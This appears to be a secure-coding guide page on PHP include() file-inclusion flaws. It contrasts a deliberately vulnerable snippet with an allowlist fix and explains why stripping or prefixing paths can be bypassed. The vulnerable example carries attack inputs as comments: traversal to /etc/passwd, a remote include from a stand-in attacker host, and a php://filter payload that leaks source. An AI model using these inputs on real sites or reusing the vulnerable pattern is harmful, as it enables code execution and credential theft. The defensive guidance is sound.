flawopen.com/File Inclusion/PHP include()
No. include does not read a file — it executes it as PHP. Any user influence over the path is a potential remote code execution, not merely a file disclosure. Map user input to a fixed allowlist of filenames instead of building a path from it.
<?php // Classic LFI include $_GET['page'] . '.php'; // ?page=../../../../etc/passwd%00 // ?page=../../uploads/avatar // → executes an uploaded "image" // containing PHP // With allow_url_include=On, also RFI: // ?page=http://attacker.tld/shell // Stream wrappers make LFI worse: // ?page=php://filter/convert.base64- // encode/resource=config // → leaks source of any file
<?php // Allowlist. The user picks a KEY, // never a path. $pages = [ 'home' => 'pages/home.php', 'about' => 'pages/about.php', 'contact' => 'pages/contact.php', ]; $key = $_GET['page'] ?? 'home'; if (!array_key_exists($key, $pages)) { http_response_code(404); exit; } include $pages[$key];
Local file inclusion is often triaged below remote file inclusion on the assumption that it only discloses files. In PHP that assumption is usually wrong, because the included file is executed. An attacker who can get any PHP-containing bytes onto the filesystem and then include them has code execution. Common routes include an avatar or document upload that stores attacker-controlled content, and log files containing a request header the attacker chose.
Separately, the php://filter stream wrapper converts inclusion into reliable source disclosure — reading configuration files and credentials without needing execution at all.
Stripping ../, appending a fixed extension, or prefixing a base directory all look like fixes and all have well-known bypasses — encoded traversal sequences, absolute paths, stream wrappers that ignore the prefix entirely. The structural fix is to remove user control over the path: let the input select from a fixed set of known-good values that you wrote, and treat anything not in that set as a 404.
If you genuinely must resolve a path, apply the same containment check used for path traversal — resolve fully with realpath(), then verify the result is still inside the intended directory — and additionally confirm the resolved file is one you intended to be executable.
It removes the remote-URL variant, which is worth doing and is the default on modern PHP. It does nothing about local inclusion, which is the more common and still fully exploitable case.
The %00 truncation technique was fixed in PHP 5.3.4. It appears constantly in older write-ups; do not rely on its absence as your defence, because the other routes listed above do not depend on it.
require and the _once variants have identical execution semantics and identical risk. readfile() and file_get_contents() do not execute, so user control there is a path traversal / disclosure issue rather than code execution — still serious, but a different class.